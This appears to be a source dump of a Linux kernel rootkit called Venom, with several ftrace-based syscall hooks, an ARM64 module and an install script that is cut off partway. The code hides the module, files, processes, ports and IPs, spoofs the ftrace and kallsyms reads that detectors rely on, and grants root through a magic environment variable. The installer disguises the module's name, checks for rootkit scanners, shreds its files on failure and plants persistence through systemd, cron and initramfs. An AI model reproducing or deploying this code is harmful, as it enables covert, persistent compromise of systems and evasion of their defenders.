3 | #include 4 | 5 | #include "include/headers.h" 6 | #include "ftrace/ftrace.h" 7 | #include "hooks/prinT.h" 8 | 9 | #include "hooks/write.h" 10 | #include "hooks/read.h" 11 | #include "hooks/mounts.h" 12 | #include "hooks/pid_hiding.h" 13 | #include "hooks/getdents.h" 14 | #include "hooks/kill.h" 15 | #include "hooks/ioctl.h" 16 | #include "hooks/insmod.h" 17 | #include "hooks/network.h" 18 | #include "hooks/harden.h" 19 | #include "hooks/kexec_load.h" 20 | #include "hooks/socket.h" 21 | #include "hooks/statx.h" 22 | #include "hooks/ptrace.h" 23 | #include "hooks/uname.h" 24 | #include "hooks/process_vm.h" 25 | #include "hooks/prctl.h" 26 | #include "hooks/execve.h" 27 | 28 | 29 | 30 | MODULE_LICENSE("GPL"); 31 | MODULE_AUTHOR("Trevohack"); 32 | MODULE_DESCRIPTION("Advance LKM"); 33 | MODULE_VERSION("4.0"); 34 | 35 | 36 | #define HIDDEN_PORT 9090 37 | #define MAGIC_KILL_SIGNAL 64 38 | #define MAX_HIDDEN_PREFIXES 10 39 | #define MAX_HIDDEN_IPS 5 40 | 41 | 42 | static char *hidden_prefixes[MAX_HIDDEN_PREFIXES] = { 43 | "source-code", 44 | "halo", 45 | "tom", 46 | "venom", 47 | "trevohack", 48 | "hack", 49 | ".defense", 50 | NULL 51 | }; 52 | 53 | 54 | static char *hidden_ips[MAX_HIDDEN_IPS] = { 55 | "10.0.0.100", 56 | "192.168.1.50", 57 | "172.16.0.10", 58 | NULL 59 | }; 60 | 61 | 62 | static int hidden = 0; 63 | static int activate_stealth = 1; 64 | 65 | static struct ftrace_hook all_hooks[] = { 66 | HOOK("__x64_sys_write", hooked_write, &orig_write), 67 | HOOK("__x64_sys_read", hooked_read, &orig_read), 68 | HOOK("__x64_sys_pread64", hooked_pread64, &orig_pread64), 69 | HOOK("__x64_sys_pwrite64", hooked_pwrite64, &orig_pwrite64), 70 | HOOK("__x64_sys_mount", hook_mount, &orig_mount), 71 | HOOK("__x64_sys_move_mount", hook_move_mount, &orig_move_mount), 72 | HOOK("__x64_sys_getdents64", hooked_getdents64, &orig_getdents64), 73 | HOOK("__x64_sys_getdents", hooked_getdents, &orig_getdents), 74 | HOOK("__x64_sys_openat", hooked_openat, &orig_openat), 75 | HOOK("__x64_sys_unlinkat", hooked_unlinkat, &orig_unlinkat), 76 | HOOK("__x64_sys_renameat", hooked_renameat, &orig_renameat), 77 | HOOK("__x64_sys_truncate", hooked_truncate, &orig_truncate), 78 | 79 | HOOK("__x64_sys_init_module", hooked_init_module, &orig_init_module), 80 | HOOK("__x64_sys_finit_module", hooked_finit_module, &orig_finit_module), 81 | HOOK("__x64_sys_delete_module", hooked_delete_module, &orig_delete_module), 82 | 83 | HOOK("__x64_sys_execve", hooked_execve, &orig_execve), 84 | HOOK("__x64_sys_kexec_load", hooked_kexec_load, &orig_kexec_load), 85 | 86 | HOOK("__x64_sys_kill", hooked_kill, &orig_kill), 87 | HOOK("__x64_sys_ioctl", hooked_ioctl, &orig_ioctl), 88 | HOOK("__x64_sys_statx", hooked_statx, &orig_statx), 89 | 90 | HOOK("__x64_sys_socket", hooked_socket, &orig_socket), 91 | HOOK("__x64_sys_setsockopt", hooked_setsockopt, &orig_setsockopt), 92 | HOOK("__x64_sys_ptrace", hooked_ptrace, &orig_ptrace), 93 | HOOK("__x64_sys_uname", trev_uname, &orig_uname), 94 | HOOK("__x64_sys_process_vm_readv", hacked_process_vm_readv, &orig_process_vm_readv), 95 | HOOK("__x64_sys_process_vm_writev", hacked_process_vm_writev, &orig_process_vm_writev), 96 | HOOK("__x64_sys_prctl", hacked_prctl, &orig_prctl), 97 | 98 | HOOK("tcp4_seq_show", hooked_tcp4_seq_show, &orig_tcp4_seq_show), 99 | HOOK("tcp6_seq_show", hooked_tcp6_seq_show, &orig_tcp6_seq_show), 100 | HOOK("udp4_seq_show", hooked_udp4_seq_show, &orig_udp4_seq_show), 101 | HOOK("udp6_seq_show", hooked_udp6_seq_show, &orig_udp6_seq_show), 102 | HOOK("tpacket_rcv", hooked_tpacket_rcv, &orig_tpacket_rcv), 103 | 104 | 105 | 106 | }; 107 | 108 | 109 | notrace static void hide_module(void) { 110 | if (THIS_MODULE->list.prev) { 111 | list_del(&THIS_MODULE->list); 112 | hidden = 1; 113 | } 114 | } 115 | 116 | 117 | notrace static void init_rootkit_config(void) { 118 | set_hidden_port(HIDDEN_PORT); 119 | set_magic_signal(MAGIC_KILL_SIGNAL); 120 | set_hidden_prefixes(hidden_prefixes); 121 | set_hidden_ips(hidden_ips); 122 | } 123 | 124 | notrace static int __init venom_init(void) { 125 | int err; 126 | 127 | // TLOG_INF("[VENOM] Loading Rootkit v4.0\n"); 128 | 129 | init_rootkit_config(); 130 | 131 | 132 | err = fh_install_hooks(all_hooks, ARRAY_SIZE(all_hooks)); 133 | if (err) { 134 | TLOG_ERROR("[VENOM] Failed to install hooks: %d\n", err); 135 | return err; 136 | } 137 | 138 | init_pid_hiding(); 139 | 140 | if (activate_stealth) { 141 | hide_module(); 142 | TLOG_INF("[VENOM] Module hidden from lsmod\n"); 143 | } 144 | 145 | 146 | TLOG_INF("╔════════════════════════════════════════════════════════════════════════════╗\n"); 147 | TLOG_INF("║ ║\n"); 148 | TLOG_INF("║ ░░░░░░░░░░░░░░░░ [ V E N O M I M P L A N T E D ] ░░░░░░░░░░░ ║\n"); 149 | TLOG_INF("║ ── trev • devil • obscurity ── ║\n"); 150 | TLOG_INF("║ ║\n"); 151 | TLOG_INF("╚════════════════════════════════════════════════════════════════════════════╝\n"); 152 | 153 | TLOG_INF("[VENOM] All protection systems active\n"); 154 | TLOG_INF("[VENOM] Protected port: %d\n", HIDDEN_PORT); 155 | TLOG_INF("[VENOM] Magic signal: %d \n", MAGIC_KILL_SIGNAL); 156 | 157 | 158 | return 0; 159 | } 160 | 161 | notrace static void __exit venom_exit(void) { 162 | fh_remove_hooks(all_hooks, ARRAY_SIZE(all_hooks)); 163 | 164 | } 165 | 166 | module_init(venom_init); 167 | module_exit(venom_exit); 168 | 169 | 170 | 171 | 172 | 173 | 174 | -------------------------------------------------------------------------------- /hooks/read.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Venom 3 | * --------------------------------------------------------------------------- 4 | * File: read.c 5 | * 6 | * Purpose: 7 | * - High-level notes on the read(2) syscall path and how interception or 8 | * sanitisation of reads can change host-observable behavior (files, 9 | * /proc, sockets, pipes). Hooks read, pread 10 | * 11 | * Contents (documentation-only): 12 | * - Hooks read syscalls to prevent ftrace bypasses 13 | * 14 | * Author: Trevohack 15 | */ 16 | 17 | 18 | 19 | #ifndef READ_HACK_H 20 | #define READ_HACK_H 21 | 22 | #include "../include/headers.h" 23 | 24 | 25 | static asmlinkage ssize_t (*orig_read)(const struct pt_regs *regs); 26 | static asmlinkage ssize_t (*orig_pread64)(const struct pt_regs *regs); 27 | 28 | 29 | static int spoof_next_read = 0; 30 | 31 | 32 | static const char *read_protected_files[] = { 33 | "ftrace_enabled", 34 | "tracing_on", 35 | "kallsyms", 36 | "modules", 37 | "kcore", 38 | "System.map", 39 | NULL 40 | }; 41 | 42 | 43 | 44 | notrace static int custos_read(const char *name) { 45 | int i; 46 | if (!name) return 0; 47 | 48 | for (i = 0; read_protected_files[i] != NULL; i++) { 49 | if (strcmp(name, read_protected_files[i]) == 0) 50 | return 1; 51 | } 52 | return 0; 53 | } 54 | 55 | /* 56 | notrace static char *get_file_path(int fd, char *buf, size_t size) { 57 | struct file *file; 58 | char *path = NULL; 59 | 60 | file = fget(fd); 61 | if (file) { 62 | path = d_path(&file->f_path, buf, size); 63 | fput(file); 64 | } 65 | 66 | return IS_ERR(path) ? NULL : path; 67 | } 68 | */ 69 | 70 | 71 | notrace static void sanitize_kallsyms(char *buf, size_t len) { 72 | char *line = buf; 73 | char *next; 74 | 75 | while (line && *line && (size_t)(line - buf) < len) { 76 | next = strchr(line, '\n'); 77 | 78 | 79 | if (strstr(line, "venom") || 80 | strstr(line, "VENOM")) { 81 | if (next) { 82 | memset(line, '0', 16); 83 | } 84 | } 85 | 86 | line = next ? next + 1 : NULL; 87 | } 88 | } 89 | 90 | 91 | notrace static ssize_t read_vigila(int fd, char __user *user_buf, size_t count, 92 | loff_t *pos, ssize_t (*original_read)(const struct pt_regs *), 93 | const struct pt_regs *regs) { 94 | struct file *file; 95 | char *kernel_buf; 96 | ssize_t bytes_read; 97 | char path_buf[256]; 98 | char *path; 99 | 100 | file = fget(fd); 101 | if (!file) 102 | goto call_original; 103 | 104 | 105 | if (file->f_path.dentry && file->f_path.dentry->d_name.name) { 106 | const char *name = file->f_path.dentry->d_name.name; 107 | 108 | 109 | if (strcmp(name, "ftrace_enabled") == 0 || 110 | strcmp(name, "tracing_on") == 0) { 111 | 112 | fput(file); 113 | bytes_read = original_read(regs); 114 | 115 | if (bytes_read <= 0) 116 | return bytes_read; 117 | 118 | kernel_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL); 119 | if (!kernel_buf) 120 | return bytes_read; 121 | 122 | if (copy_from_user(kernel_buf, user_buf, bytes_read)) { 123 | kfree(kernel_buf); 124 | return bytes_read; 125 | } 126 | 127 | 128 | if (spoof_next_read == 0 && bytes_read > 0 && kernel_buf[0] == '1') { 129 | kernel_buf[0] = '0'; 130 | spoof_next_read = 1; 131 | TLOG_INF("[VENOM] Spoofed ftrace read from PID %d", current->pid); 132 | } else { 133 | spoof_next_read = 0; 134 | } 135 | 136 | if (copy_to_user(user_buf, kernel_buf, bytes_read)) { 137 | kfree(kernel_buf); 138 | return -EFAULT; 139 | } 140 | 141 | kfree(kernel_buf); 142 | return bytes_read; 143 | } 144 | 145 | 146 | if (strcmp(name, "kallsyms") == 0) { 147 | fput(file); 148 | 149 | bytes_read = original_read(regs); 150 | if (bytes_read <= 0) 151 | return bytes_read; 152 | 153 | kernel_buf = kmalloc(bytes_read + 1, GFP_KERNEL); 154 | if (!kernel_buf) 155 | return bytes_read; 156 | 157 | if (copy_from_user(kernel_buf, user_buf, bytes_read) == 0) { 158 | kernel_buf[bytes_read] = '\0'; 159 | sanitize_kallsyms(kernel_buf, bytes_read); 160 | copy_to_user(user_buf, kernel_buf, bytes_read); 161 | TLOG_INF("[VENOM] Sanitized kallsyms read from %s", current->comm); 162 | } 163 | 164 | kfree(kernel_buf); 165 | return bytes_read; 166 | } 167 | 168 | if (strcmp(name, "modules") == 0 || 169 | strcmp(name, "kcore") == 0 || 170 | strcmp(name, "mem") == 0) { 171 | 172 | path = get_file_path(fd, path_buf, sizeof(path_buf)); 173 | TLOG_WARN("[VENOM] Read: %s by %s (PID:%d)", path ? path : name, current->comm, current->pid); 174 | } 175 | } 176 | 177 | fput(file); 178 | 179 | call_original: 180 | return original_read(regs); 181 | } 182 | 183 | notrace static asmlinkage ssize_t hooked_read(const struct pt_regs *regs) { 184 | int fd = regs->di; 185 | char __user *buf = (char __user *)regs->si; 186 | size_t count = regs->dx; 187 | 188 | return read_vigila(fd, buf, count, NULL, orig_read, regs); 189 | } 190 | 191 | 192 | notrace static asmlinkage ssize_t hooked_pread64(const struct pt_regs *regs) { 193 | int fd = regs->di; 194 | char __user *buf = (char __user *)regs->si; 195 | size_t count = regs->dx; 196 | loff_t pos = regs->r10; 197 | 198 | return read_vigila(fd, buf, count, &pos, orig_pread64, regs); 199 | } 200 | 201 | 202 | 203 | #endif 204 | 205 | -------------------------------------------------------------------------------- /arm/arm64.c: -------------------------------------------------------------------------------- 1 | /*MIT License 2 | 3 | Copyright (c) 2025 nullpointer(malefax) 4 | Just a slave of God 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #undef pr_fmt 22 | #define pr_fmt(fmt) "%s : " fmt,__func__ 23 | 24 | 25 | #define _kmalloc(_initmem,counter) *(_initmem+counter) 26 | // Version-specific adjustments 27 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(5,11,0) 28 | #define FTRACE_REGS_STRUCT ftrace_regs 29 | #else 30 | #define FTRACE_REGS_STRUCT pt_regs 31 | #endif 32 | 33 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0) 34 | static unsigned long lookup_name(const char *name) 35 | { 36 | struct kprobe kp = { 37 | .symbol_name = name 38 | }; 39 | unsigned long retval; 40 | 41 | if (register_kprobe(&kp) < 0) return 0; 42 | retval = (unsigned long) kp.addr; 43 | unregister_kprobe(&kp); 44 | return retval; 45 | } 46 | #else 47 | static unsigned long lookup_name(const char *name) 48 | { 49 | return kallsyms_lookup_name(name); 50 | } 51 | #endif 52 | 53 | #if LINUX_VERSION_CODE < KERNEL_VERSION(5,11,0) 54 | #define FTRACE_OPS_FL_RECURSION FTRACE_OPS_FL_RECURSION_SAFE 55 | #endif 56 | 57 | #define HOOK(_name, _hook, _orig) \ 58 | { \ 59 | .name = (_name), \ 60 | .function = (_hook), \ 61 | .original = (_orig), \ 62 | } 63 | #define USE_FENTRY_OFFSET 0 64 | #if !USE_FENTRY_OFFSET 65 | #pragma GCC optimize("-fno-optimize-sibling-calls") 66 | #endif 67 | 68 | 69 | struct ftrace_hook { 70 | const char *name; 71 | void *function; 72 | void *original; 73 | unsigned long address; 74 | struct ftrace_ops ops; 75 | }; 76 | 77 | static int fh_resolve_hook_address(struct ftrace_hook *hook) 78 | { 79 | hook->address = lookup_name(hook->name); 80 | if (!hook->address) { 81 | printk(KERN_ERR "Failed to resolve %s\n", hook->name); 82 | return -ENOENT; 83 | } 84 | #if USE_FENTRY_OFFSET 85 | *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; 86 | #else 87 | *((unsigned long*) hook->original) = hook->address; 88 | #endif 89 | 90 | return 0; 91 | } 92 | 93 | // Updated function signature to use FTRACE_REGS_STRUCT 94 | static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, 95 | struct ftrace_ops *ops, struct FTRACE_REGS_STRUCT *regs) 96 | { 97 | struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); 98 | #if USE_FENTRY_OFFSET 99 | regs->pc = (unsigned long) hook->function; 100 | #else 101 | if (!within_module(parent_ip, THIS_MODULE)) 102 | regs->pc = (unsigned long) hook->function; 103 | #endif 104 | } 105 | 106 | static int fh_install_hook(struct ftrace_hook *hook) 107 | { 108 | int err = fh_resolve_hook_address(hook); 109 | if (err) 110 | return err; 111 | 112 | hook->ops.func = fh_ftrace_thunk; 113 | hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS_IF_SUPPORTED 114 | | FTRACE_OPS_FL_RECURSION 115 | | FTRACE_OPS_FL_IPMODIFY; 116 | 117 | err = ftrace_set_filter(&hook->ops,(unsigned char *) hook->name, strlen(hook->name), 0); 118 | if (err) { 119 | printk(KERN_ERR "ftrace_set_filter failed: %d\n", err); 120 | return err; 121 | } 122 | 123 | err = register_ftrace_function(&hook->ops); 124 | if (err) { 125 | printk(KERN_ERR "register_ftrace_function failed: %d\n", err); 126 | //ftrace_set_filter(&hook->ops,NULL, 0, 1); 127 | return err; 128 | } 129 | 130 | return 0; 131 | } 132 | 133 | static void fh_remove_hook(struct ftrace_hook *hook) 134 | { 135 | int err = unregister_ftrace_function(&hook->ops); 136 | if (err) 137 | printk(KERN_ERR "unregister_ftrace_function failed: %d\n", err); 138 | err = ftrace_set_filter(&hook->ops, NULL, 0, 1); 139 | if (err) 140 | printk(KERN_ERR "ftrace_set_filter failed: %d\n", err); 141 | } 142 | //Remember check kernel lockdown mode otherwise wont work 143 | 144 | static void rootmagic(void){ 145 | struct cred *creds; 146 | creds = prepare_creds(); 147 | if(creds == NULL){ 148 | return; 149 | } 150 | creds->uid.val = creds->gid.val = 0; 151 | creds->euid.val = creds->egid.val = 0; 152 | creds->suid.val = creds->sgid.val = 0; 153 | creds->fsuid.val = creds->fsgid.val = 0; 154 | commit_creds(creds); 155 | } 156 | 157 | typedef asmlinkage long (*orig_getuid_t)(const struct pt_regs *); 158 | static orig_getuid_t orig_getuid; 159 | 160 | static asmlinkage long hook_getuid(const struct pt_regs *regs) { 161 | const char *name = current->comm; 162 | 163 | struct mm_struct *mm; 164 | char *envs; 165 | int len, i; 166 | 167 | if (strcmp(name, "bash") == 0) { 168 | mm = current->mm; 169 | if (mm && mm->env_start && mm->env_end) { 170 | envs = kmalloc(PAGE_SIZE, GFP_ATOMIC); 171 | if (envs) { 172 | len = access_process_vm(current, mm->env_start, envs, PAGE_SIZE - 1, 0); 173 | if (len > 0) { 174 | for (i = 0; i < len - 1; i++) { 175 | if (_kmalloc(envs,i) == '\0') 176 | _kmalloc(envs,i) = ' '; 177 | } 178 | if (strstr(envs, "MAGIC=megatron")) { 179 | rootmagic(); 180 | } 181 | } 182 | kfree(envs); 183 | } 184 | } 185 | } 186 | return orig_getuid(regs); 187 | } 188 | 189 | static struct ftrace_hook hooks[] = { 190 | HOOK("__arm64_sys_getuid", hook_getuid, &orig_getuid), 191 | }; 192 | static int __init arm64_monitor_init(void) 193 | { 194 | int err; 195 | size_t i; 196 | rootmagic(); 197 | 198 | // Do kernel module hiding 199 | // list_del_init(&__this_module.list); 200 | // kobject_del(&THIS_MODULE->mkobj.kobj); 201 | 202 | 203 | 204 | 205 | for (i = 0; i < ARRAY_SIZE(hooks); i++) { 206 | err = fh_install_hook(&hooks[i]); 207 | if (err) 208 | goto error; 209 | } 210 | return 0; 211 | error: 212 | while (i != 0) { 213 | fh_remove_hook(&hooks[--i]); 214 | } 215 | return err; 216 | } 217 | 218 | static void __exit arm64_monitor_exit(void) 219 | { 220 | size_t i; 221 | 222 | for (i = 0; i < ARRAY_SIZE(hooks); i++) 223 | fh_remove_hook(&hooks[i]); 224 | } 225 | 226 | module_init(arm64_monitor_init); 227 | module_exit(arm64_monitor_exit); 228 | 229 | MODULE_LICENSE("GPL"); 230 | MODULE_DESCRIPTION("syscall hook via ftrace"); 231 | MODULE_AUTHOR("malefax"); 232 | MODULE_AUTHOR("Trevohack"); 233 | 234 | -------------------------------------------------------------------------------- /hooks/network.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Venom 3 | * ---------------------------------------------------------------------------- 4 | * File: network.c 5 | * 6 | * Purpose (high level / non-operational): 7 | * - This file documents, at a conceptual level, the network-related touchpoints 8 | * that the Venom research project observes and the high-level observable 9 | * behaviours produced by those interventions. It is written for defenders, 10 | * incident responders, and researchers who need to understand what kernel- 11 | * level interference with network visibility looks like from the host side. 12 | * 13 | * Summary of behaviours implemented / documented here 14 | * - Intercepts `/proc` renderers for TCP/UDP (IPv4 & IPv6) so particular 15 | * socket entries can be filtered from userland listings. 16 | * - Observes/filters raw packet receive paths (AF_PACKET/TPACKET) so packets 17 | * matching configured criteria may not be delivered to local packet-capture 18 | * tools or may be dropped before reaching userland consumers. 19 | * - Provides a small configuration surface (hidden ports & IPs) which this 20 | * documentation uses as examples to demonstrate observable impact. 21 | * 22 | * Hooked kernel touchpoints (conceptual list) 23 | * - seq_file show functions for /proc/net/tcp, /proc/net/tcp6, 24 | * /proc/net/udp, /proc/net/udp6 (these are the renderers used by many 25 | * socket-listing tools). Filtering here affects what tools like `ss`, 26 | * `netstat`, and `/proc`-based readers display. 27 | * - Packet receive callback (tpacket_rcv / AF_PACKET receive path). Changes 28 | * here affect what raw packet capture APIs/clients on the host observe. 29 | * 30 | * Author: Trevohack 31 | */ 32 | 33 | 34 | #ifndef NETWORK_H 35 | #define NETWORK_H 36 | 37 | #include "../include/headers.h" 38 | 39 | 40 | static asmlinkage long (*orig_tcp4_seq_show)(struct seq_file *seq, void *v); 41 | static asmlinkage long (*orig_tcp6_seq_show)(struct seq_file *seq, void *v); 42 | static asmlinkage long (*orig_udp4_seq_show)(struct seq_file *seq, void *v); 43 | static asmlinkage long (*orig_udp6_seq_show)(struct seq_file *seq, void *v); 44 | static asmlinkage long (*orig_setsockopt)(const struct pt_regs *regs); 45 | static int (*orig_tpacket_rcv)(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt, struct net_device *orig_dev); 46 | 47 | 48 | 49 | static int g_hidden_port = 9090; 50 | static char **g_hidden_ips = NULL; 51 | static int g_hidden_ports[10] = {8443, 9999, 31337, 0}; 52 | 53 | void set_hidden_port(int port) { 54 | g_hidden_port = port; 55 | g_hidden_ports[0] = port; 56 | } 57 | 58 | void set_hidden_ips(char **ips) { 59 | g_hidden_ips = ips; 60 | } 61 | 62 | 63 | notrace static int is_port_hidden(int port) { 64 | int i; 65 | for (i = 0; i < 10 && g_hidden_ports[i] != 0; i++) { 66 | if (g_hidden_ports[i] == port) { 67 | return 1; 68 | } 69 | } 70 | return 0; 71 | } 72 | 73 | 74 | notrace static int is_ip_hidden(const char *ip) { 75 | int i; 76 | if (!ip || !g_hidden_ips) { 77 | return 0; 78 | } 79 | 80 | for (i = 0; g_hidden_ips[i] != NULL; i++) { 81 | if (strstr(ip, g_hidden_ips[i])) { 82 | return 1; 83 | } 84 | } 85 | return 0; 86 | } 87 | 88 | 89 | notrace static asmlinkage long hooked_tcp4_seq_show(struct seq_file *seq, void *v) { 90 | struct sock *sk = v; 91 | 92 | if (sk == (struct sock *)0x1) { 93 | return orig_tcp4_seq_show(seq, v); 94 | } 95 | 96 | if (sk && is_port_hidden(sk->sk_num)) { 97 | TLOG_INF("[VENOM] Hiding TCP4 connection on port %d\n", sk->sk_num); 98 | return 0; 99 | } 100 | 101 | return orig_tcp4_seq_show(seq, v); 102 | } 103 | 104 | notrace static asmlinkage long hooked_tcp6_seq_show(struct seq_file *seq, void *v) { 105 | struct sock *sk = v; 106 | 107 | if (sk == (struct sock *)0x1) { 108 | return orig_tcp6_seq_show(seq, v); 109 | } 110 | 111 | if (sk && is_port_hidden(sk->sk_num)) { 112 | TLOG_INF("[VENOM] Hiding TCP6 connection on port %d\n", sk->sk_num); 113 | return 0; 114 | } 115 | 116 | return orig_tcp6_seq_show(seq, v); 117 | } 118 | 119 | 120 | notrace static asmlinkage long hooked_udp4_seq_show(struct seq_file *seq, void *v) { 121 | struct sock *sk = v; 122 | 123 | if (sk == (struct sock *)0x1) { 124 | return orig_udp4_seq_show(seq, v); 125 | } 126 | 127 | if (sk && is_port_hidden(sk->sk_num)) { 128 | TLOG_INF("[VENOM] Hiding UDP4 connection on port %d\n", sk->sk_num); 129 | return 0; 130 | } 131 | 132 | return orig_udp4_seq_show(seq, v); 133 | } 134 | 135 | 136 | notrace static asmlinkage long hooked_udp6_seq_show(struct seq_file *seq, void *v) { 137 | struct sock *sk = v; 138 | 139 | if (sk == (struct sock *)0x1) { 140 | return orig_udp6_seq_show(seq, v); 141 | } 142 | 143 | if (sk && is_port_hidden(sk->sk_num)) { 144 | TLOG_INF("[VENOM] Hiding UDP6 connection on port %d\n", sk->sk_num); 145 | return 0; 146 | } 147 | 148 | return orig_udp6_seq_show(seq, v); 149 | } 150 | 151 | static notrace int hooked_tpacket_rcv(struct sk_buff *skb, struct net_device *dev, 152 | struct packet_type *pt, struct net_device *orig_dev) { 153 | struct iphdr *iph; 154 | struct ipv6hdr *ip6h; 155 | struct tcphdr *tcph; 156 | struct udphdr *udph; 157 | 158 | 159 | if (!strncmp(dev->name, "lo", 2)) { 160 | return NET_RX_DROP; 161 | } 162 | 163 | if (skb_linearize(skb)) { 164 | goto out; 165 | } 166 | 167 | if (skb->protocol == htons(ETH_P_IP)) { 168 | iph = ip_hdr(skb); 169 | 170 | if (iph->protocol == IPPROTO_TCP) { 171 | tcph = (void *)iph + iph->ihl * 4; 172 | if (is_port_hidden(ntohs(tcph->dest)) || 173 | is_port_hidden(ntohs(tcph->source))) { 174 | TLOG_INF("[VENOM] Dropping TCP packet on hidden port\n"); 175 | return NET_RX_DROP; 176 | } 177 | } 178 | else if (iph->protocol == IPPROTO_UDP) { 179 | udph = (void *)iph + iph->ihl * 4; 180 | if (is_port_hidden(ntohs(udph->dest)) || 181 | is_port_hidden(ntohs(udph->source))) { 182 | TLOG_INF("[VENOM] Dropping UDP packet on hidden port\n"); 183 | return NET_RX_DROP; 184 | } 185 | } 186 | else if (iph->protocol == IPPROTO_ICMP) { 187 | return NET_RX_DROP; 188 | } 189 | } 190 | 191 | else if (skb->protocol == htons(ETH_P_IPV6)) { 192 | ip6h = ipv6_hdr(skb); 193 | 194 | if (ip6h->nexthdr == IPPROTO_TCP) { 195 | tcph = (void *)ip6h + sizeof(*ip6h); 196 | if (is_port_hidden(ntohs(tcph->dest)) || 197 | is_port_hidden(ntohs(tcph->source))) { 198 | return NET_RX_DROP; 199 | } 200 | } 201 | else if (ip6h->nexthdr == IPPROTO_UDP) { 202 | udph = (void *)ip6h + sizeof(*ip6h); 203 | if (is_port_hidden(ntohs(udph->dest)) || 204 | is_port_hidden(ntohs(udph->source))) { 205 | return NET_RX_DROP; 206 | } 207 | } 208 | else if (ip6h->nexthdr == IPPROTO_ICMPV6) { 209 | return NET_RX_DROP; 210 | } 211 | } 212 | 213 | out: 214 | return orig_tpacket_rcv(skb, dev, pt, orig_dev); 215 | } 216 | 217 | 218 | 219 | notrace static asmlinkage long hooked_setsockopt(const struct pt_regs *regs) { 220 | int sockfd = (int)regs->di; 221 | int level = (int)regs->si; 222 | int optname = (int)regs->dx; 223 | 224 | if (level == SOL_SOCKET && optname == SO_RCVBUF) { 225 | TLOG_INF("[VENOM] Socket buffer modified by %s", current->comm); 226 | } 227 | 228 | if (level == SOL_PACKET) { 229 | TLOG_WARN("[VENOM] RAW PACKET socket option by %s", current->comm); 230 | } 231 | 232 | return orig_setsockopt(regs); 233 | } 234 | 235 | #endif 236 | -------------------------------------------------------------------------------- /implant.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | 4 | set -e 5 | 6 | RED='\033[0;31m' 7 | GREEN='\033[0;32m' 8 | YELLOW='\033[1;33m' 9 | BLUE='\033[0;34m' 10 | PURPLE='\033[0;35m' 11 | CYAN='\033[0;36m' 12 | NC='\033[0m' 13 | 14 | VENOM_ASCII=" 15 | ${PURPLE} 16 | ██╗ ██╗███████╗███╗ ██╗ ██████╗ ███╗ ███╗ 17 | ██║ ██║██╔════╝████╗ ██║██╔═══██╗████╗ ████║ 18 | ██║ ██║█████╗ ██╔██╗ ██║██║ ██║██╔████╔██║ 19 | ╚██╗ ██╔╝██╔══╝ ██║╚██╗██║██║ ██║██║╚██╔╝██║ 20 | ╚████╔╝ ███████╗██║ ╚████║╚██████╔╝██║ ╚═╝ ██║ 21 | ╚═══╝ ╚══════╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝ 22 | ${NC} 23 | ${CYAN} ── trev • devil • obscurity ── ${NC} 24 | " 25 | 26 | MODULE_NAME="venom" 27 | STEALTH_NAME=".systemd-journal-cache" 28 | INSTALL_DIR="/usr/lib/modules/$(uname -r)/kernel/drivers/usb/misc" 29 | BACKUP_DIR="/var/cache/.systemd-backup" 30 | LOG_FILE="/var/tmp/.X11-cache" 31 | 32 | SYSTEMD_SERVICE="/etc/systemd/system/systemd-journal-flush.service" 33 | RC_LOCAL="/etc/rc.local" 34 | CRON_FILE="/etc/cron.d/.system-update" 35 | INITRAMFS_HOOK="/etc/initramfs-tools/hooks/firmware-update" 36 | 37 | DISABLE_AUDIT=1 38 | CLEAR_LOGS=1 39 | TIMESTOMP=1 40 | 41 | log_action() { 42 | echo -e "${BLUE}[*]${NC} $1" 43 | } 44 | 45 | log_success() { 46 | echo -e "${GREEN}[+]${NC} $1" 47 | } 48 | 49 | log_error() { 50 | echo -e "${RED}[!]${NC} $1" 51 | } 52 | 53 | log_warn() { 54 | echo -e "${YELLOW}[⚠]${NC} $1" 55 | } 56 | 57 | 58 | if [ "$(id -u)" -ne 0 ]; then 59 | log_error "This script must be run as root" 60 | exit 1 61 | fi 62 | 63 | echo "$VENOM_ASCII" 64 | 65 | if [ -f "/proc/sys/kernel/modules_disabled" ] && [ "$(cat /proc/sys/kernel/modules_disabled)" -eq 1 ]; then 66 | log_error "Kernel module loading is DISABLED!" 67 | log_warn "Initiating emergency cleanup..." 68 | 69 | find . -type f -exec shred -zuvn 3 {} \; 2>/dev/null 70 | rm -rf "$(pwd)" 71 | 72 | log_success "Cleaned. Exiting." 73 | exit 1 74 | fi 75 | 76 | 77 | log_action "Checking for security tools..." 78 | SECURITY_TOOLS=("chkrootkit" "rkhunter" "lynis" "ossec" "aide" "tripwire") 79 | for tool in "${SECURITY_TOOLS[@]}"; do 80 | if command -v "$tool" &>/dev/null; then 81 | log_warn "Detected: $tool" 82 | fi 83 | done 84 | 85 | 86 | VENOM_DIR="$(pwd)" 87 | KO_FILE="$VENOM_DIR/$MODULE_NAME.ko" 88 | 89 | if [ ! -f "$KO_FILE" ]; then 90 | log_action "Module not found. Compiling..." 91 | make clean 92 | make 93 | 94 | if [ ! -f "$KO_FILE" ]; then 95 | log_error "Compilation failed" 96 | exit 1 97 | fi 98 | log_success "Compilation successful" 99 | fi 100 | 101 | 102 | log_action "Creating stealth installation directories..." 103 | mkdir -p "$INSTALL_DIR" 104 | mkdir -p "$BACKUP_DIR" 105 | mkdir -p "$(dirname "$LOG_FILE")" 106 | 107 | log_action "Installing module with disguised name..." 108 | cp "$KO_FILE" "$INSTALL_DIR/$STEALTH_NAME.ko" 109 | chmod 644 "$INSTALL_DIR/$STEALTH_NAME.ko" 110 | 111 | log_action "Updating module database..." 112 | depmod -a 113 | 114 | 115 | log_action "Installing systemd service (Method 1)..." 116 | 117 | cat > "$SYSTEMD_SERVICE" <<'EOF' 118 | [Unit] 119 | Description=Journal Flush Service 120 | DefaultDependencies=no 121 | After=local-fs.target 122 | Before=sysinit.target 123 | 124 | [Service] 125 | Type=oneshot 126 | 